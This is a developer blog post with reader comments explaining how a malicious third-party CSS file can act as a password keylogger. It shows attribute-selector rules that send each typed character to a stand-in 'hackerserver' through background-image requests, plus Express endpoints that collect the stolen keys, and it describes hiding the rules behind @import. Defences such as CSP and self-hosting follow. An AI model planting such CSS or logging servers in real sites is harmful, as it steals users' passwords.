DEV Community 👩‍💻👨‍💻

Cover image for Missed Frontend Vulnerabilities (1): CSS is not as safe as you think!
Mojtaba Izadmehr
Mojtaba Izadmehr

Posted on

Missed Frontend Vulnerabilities (1): CSS is not as safe as you think!

In this series of posts, I want to go through some security-related frontend issues that I find interesting. I will try to test out these ideas with code and keep track of my findings at least for my future reference.

The first one in these series is about CSS, yeah the innocent cute little CSS. An unsafe piece of CSS code (whether it is a third-party library or user-generated) can lead to huge security implications.

A while back I saw some tweets saying that it is possible for third-parties to add a key logger to your site with CSS. There is also a proof of concept as a chrome extension on github.

The idea behind it is pretty simple:

  1. You add a CSS library (thinking with yourself that well-known ones are too heavy, and you come across this new fancy CSS library on npm)
  2. They provide you with some useful classes like tailwind or bootstrap (For this purpose, they don't even need you to import any Javascript asset to your project, CSS is enough).
  3. Among their thousands of lines of code, there is some faulty logic that can steal your client's data.

But how is it even possible!

Let's think for a while... What do the hackers need in order to write a simple keylogger?

  1. Track some user inputs (for example passwords)
  2. Send it to their server
input[type="password"][value="a"] { background-image: url("https://hackerserver/add-key?val=a"); }
Enter fullscreen mode Exit fullscreen mode

With this simple line of code:

  1. Track user inputs: Whenever the value of the input field is a, they know it.
  2. Send it to their server: by adding a background image for the input, they basically trigger a GET call to their server and can return an empty pixel, so you won't even notice it.

This only works with a <input/> with the value of a, but it is easy to change the CSS selector from




Now they only look for the password inputs that end in a, now you can simply do this for all the characters, and every time the user inputs a new value, there will be a new request to their server, and voila it works...

Let's implement this!

Backend (github):

I decided to use a very basic express server for this purpose. In this short snippet, express.static is responsible for serving the CSS file needed as third-party, and the two main endpoints are also added.

const express = require("express");
var cors = require('cors')

const app = express();

app.use('/static', express.static('public'))
const port = process.env.PORT || 8080;

app.get("/css-keylogger/add-key", require('./routes/css-keylogger/addKey'));
app.get("/css-keylogger/keys", require('./routes/css-keylogger/getKeys'));

app.listen(port, () => {
  console.log(`Example app listening at http://localhost:${port}`);
Enter fullscreen mode Exit fullscreen mode

1. Provide the third-party syles for the frontend (github):

This file is supposed to provide some basic CSS functionalities that the victim client will need, for this case I added some really useful styles that we will need later in the Frontend side.

However, at the end of the file you will see these lines:

input[type="password"][value$="A"] { background-image: url(""); }
input[type="password"][value$="B"] { background-image: url(""); }
input[type="password"][value$="C"] { background-image: url(""); }
input[type="password"][value$="D"] { background-image: url(""); }
input[type="password"][value$="E"] { background-image: url(""); }
input[type="password"][value$="F"] { background-image: url(""); }
input[type="password"][value$="G"] { background-image: url(""); }
input[type="password"][value$="H"] { background-image: url(""); }
input[type="password"][value$="I"] { background-image: url(""); }
input[type="password"][value$="J"] { background-image: url(""); }
input[type="password"][value$="K"] { background-image: url(""); }
input[type="password"][value$="L"] { background-image: url(""); }
input[type="password"][value$="M"] { background-image: url(""); }
Enter fullscreen mode Exit fullscreen mode

2. An endpoint to add the new keystrokes (github):

Now when the user uses this CSS file, for every keystroke on the password inputs the server is called with a GET call. In this endpoint, we save the results of the recent keystroke, and we can return an empty pixel:

const cssKeyLoggerAddKeyHandler = async (req, res) => {
  // push the recent key stroke to logs
  const key = req.query.val;
  const time = new Date().getTime();
  loggedKeys.push({ time, key });

  // transparent 1x1 pixel
  const imgData =
  const base64Data = imgData.replace(/^data:image\/gif;base64,/, "");
  const img = Buffer.from(base64Data, "base64");

  res.writeHead(200, {
    "Content-Type": "image/png",
    "Content-Length": img.length,
Enter fullscreen mode Exit fullscreen mode

3. An endpoint to get the list of endpoints (github)

For the sake of simplicity, we can store the logged keys, in a variable, and create a small dashboard for the hacker, to get the list of the recently logged keys:

const cssKeyLoggerGetKeysHandler = async (req, res) => {
Enter fullscreen mode Exit fullscreen mode


For the frontend side, we can use a very small create-react-app project and add a login form which will render the welcome component on submit. In order to be able to see the results from the hacker's side, I added another tab to get and see the results from their point of view.
The form uses the CSS class names provided by the third party. And the in hacker's panel you can see the results.

Why is it almost impossible to debug this issue?

You might be thinking that ok now that I'm aware of it, after every update, I will upgrade the third parties, I will check the networks tab on password fields. Or you might be thinking that I am already using or GitLab securities, and as soon as there is a risk, they will let me know. Unfortunately, no! Let's put ourselves in the shoes of a smart hacker. They know that you know this, so if they can somehow hide the network requests, they win.

A monster called @import!

To be honest, before working on this, I didn't even know that you can import CSS within CSS, and I thought @import can only be used for fonts. But then I saw that almost every browser on the planet supports it (when even IE6 supports it, there is nothing to say...)
Screenshot 2020-10-22 at 04.39.43

So by doing @import unsafe third-party can add dynamic imports. So let's rewrite our styles with @import. In order to do so, we just need to add:

@import url("./keyloggerStyles.css");
Enter fullscreen mode Exit fullscreen mode

on top of the third-party CSS file, and create a keyloggerStyles.css file containing all the bad logic.

So the hacker can easily add the bad logic to a separate CSS file on their own server and reference it. When you initially test the third party nothing bad happens (the keylogger file is empty). They don't even need you to do an upgrade to the corrupted version. One day, when you are probably sleeping, they can change the contents of the corrupted file on their server, and steal the information of the users for a while, and they can remove the logic again, and no one will know anything.

This code sandbox is a simple implementation of the same thing. The hacker can change the content of the keylogger CSS file at their own convenience, and when they turn it on, as soon as a user reloads the page, and fills out a form, the keylogging happens.

So what can be done?

Well, probably the first thing to say is that we need to be cautious. It is impossible to avoid using third-parties completely. However, It is better to self-host such assets. About this particular case, it is also very important to make sure that there are no additional network requests, that you did no allow. And also it might be a good idea to open their distribution CSS file and make sure that they are not using @import without proper justification.

As Wesley suggested in the comments, a good solution is this:

  1. Self-host all assets (or of course use known cdns)
  2. Make sure that no CSS is being @imported in the destribution.
  3. Add Content Security Policy (CSP) meta tag to your HTML file. By managing the whitelist servers, you can block any unwanted network requests to other servers. A simple meta tag would look like this:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'">
Enter fullscreen mode Exit fullscreen mode

The default-src part is the default policy for loading javascript, images, CSS, fonts, AJAX requests, etc.
self means allowing only requests to the same domain. However, you should have it in your mind that if there are any external requests, you would have to add them as allowed.

Another important note is that even if there is one instance of @import from a shady server, (and supposedly it includes some important CSS classes that you need in your project), then you would have to make sure that you only allow that single file and no other endpoints from that server. Otherwise, if you whitelist the whole domain, the issue will stay remain.

Besides these points, there are several vulnerability databases, which will help us with the widely known security risks. The integration of such services such as or GitLab securities can help find some of these new issues.

Top comments (25)

alohci profile image
Nicholas Stimpson

This is somewhat misleading as it needs some JS support, provided by React or similar. Without it, what gets entered into the input box won't get reflected on to the value attribute, in which case none of the selectors can ever match. So it's more a vulnerability of React than it is of CSS.

mizadmehr profile image
Mojtaba Izadmehr Author • Edited on

That's indeed correct, but it is a common (not very safe) pattern, and many developers use it to save the values in an attribute.
So let's take a look at some famous cases:

  • React, many websites that use React and don't consider this.
  • Gmail: As of right now Gmail (uses data-initial-value property), so if in a hypothetical case Gmail is exposed by this simple vulnerability, it will take down all the websites which use Google OAuth with it.
  • 1Password: Another example (one of many reasons I believe products like 1password are a terrible way) is 1Password. It just conveniently adds an attribute called data-com.agilebits.onepassword.initial-value to the page with the value of your password ( which is indeed a insane. It basically means that if your website is exposed to this vulnerability, and you already made sure that all password fields are secure. The password of the users who use 1Password can be stolen!
csaltos profile image
Carlos Saltos

Great article !! ... I was copying every external asset locally ... fonts, CSS, Javascript, etc. ... I did not know why but I feel it is best to keep it under control ... and now ... now I know the reason thanks to you -> SECURITY !! ... this is wonderful, thanks mate for the excellent article !! 👍😎

eldrimm profile image
Wesley van Drimmelen

Nice article! I just finished a small research on the same topic, so good to read yours aswell! I'd like to mention another solution: use strict CSP headers. That way you can block requests which are not allowed. Nice article, keep up te work!

mizadmehr profile image
Mojtaba Izadmehr Author

Thanks! I didn't consider CSP while writing this, so it seems interesting.
Indeed the best way is to self-host every asset, and then use CSP to block any additional calls that you did not expect. Otherwise even if one of the CSS files is on a server they can still use this vulnerability.
I will update the article based on your suggestion:)

xcs profile image

CSP is useful, but I don't think it is for this case as the initial resource and hack are loaded from the same domain.

Wouldn't it be more useful to add an integrity check to make sure the file is not updated? Do link nodes support the integrity attribute?

eldrimm profile image
Wesley van Drimmelen • Edited on

Using strict CSP you can block the background-image requests, which would be the malicious domain/api of the attacker. Using strict csp directives you can block these requests, that's how we're doing it at my current job

vanali_marco profile image
Marco Vanali • Edited on

Very interesting post, thank you! Loved it!

"" then you would have to make sure that you only allow that single file and no other endpoints from that server. ""

This could be done by adding logic in your backend I assume?
But what if they change the content of that file you are allowing?

In the end.. what is the solution to prevent this keylogging from happening? What can we do as FE dev?
Is not saving the value of the text input in an attribute a solution :)?
Thank you :)

mizadmehr profile image
Mojtaba Izadmehr Author

You are right, First good practice is not to store the value of the password in the value property of the input. Though, some password manager extensions, store the user password in a custom property (like 1Password using data-com.agilebits.onepassword.initial-value).
The second solution is of course finding all the servers that you want to allow the client to make requests to and use Content-Security-Policy tags in your HTML tag, to only whitelist those servers.
I believe combining these two solutions can make you almost confident of your safety (you can never be too confident).

wisniewski94 profile image
Wiktor Wiśniewski

You can inspect the network tab while typing in the password field ;)

mizadmehr profile image
Mojtaba Izadmehr Author

Indeed, but the issue is that if they use something like the dormant approach we used here, the network requests will only happen when they want it to happen.
So It is possible that you never see any network requests, but 6 months later, they can change the content of their internally @imported keylogger, and turn it on four a few hours and steal credentials of your users in that period of time. I'd say if they do this in a smart way, it is impossible for you to figure out.

wisniewski94 profile image
Wiktor Wiśniewski

Popular CDNs have hashes in file names so you can't update CSS without anybody noticing it.
If you use some cheeky third parties to host your assets then well - it's your fault.

Thread Thread
mizadmehr profile image
Mojtaba Izadmehr Author

That's a good point, now I'm curious to see if there is any workaround for that one, or if there are any CSS libraries in this third parties which still uses @import. I would hope not, but I'd guess so.
If you get it from npm, then still the issue remains.

Thread Thread
wisniewski94 profile image
Wiktor Wiśniewski

Yes, npm is full of vulnerabilities and when you start using open source libraries you basically take that risk.

I highly recommend using to keep an eye on your libs. It's not free. History knows a lot about people who saved a dollar on security.

Personally, I would think twice or maybe even tens of times if I had to include an o-s library in the enterprise level app. Or an app that actually makes money.

amiralmusawi profile image
Amir Almusawi

That is really creative work.

hmphu profile image
Phu Hoang

Thank you for your interesting article

jkettmann profile image
Johannes Kettmann

Really interesting article and very well written. Thanks a lot

sven5 profile image
Sven Glöckner

This is really interesting and shocking at the same time. This is really a very good article, you should always keep this possibility in mind.

hansregeer profile image
Hans Regeer

Interesting. makes sense ;)

brunhildevink profile image

Very interesting! Who would've thought CSS can be used as a keylogger..

yellow1912 profile image

These people are so smart.

futureistaken profile image


skye profile image
Skye Wu

This is very interesting, but when repeated characters are entered, the request is sent only the first time.
This let us know that we can use the background image to record.

shahinashanu profile image
shahina sheikh

Impressed..useful article 👍

🌚 Friends don't let friends browse without dark mode.

Sorry, it's true.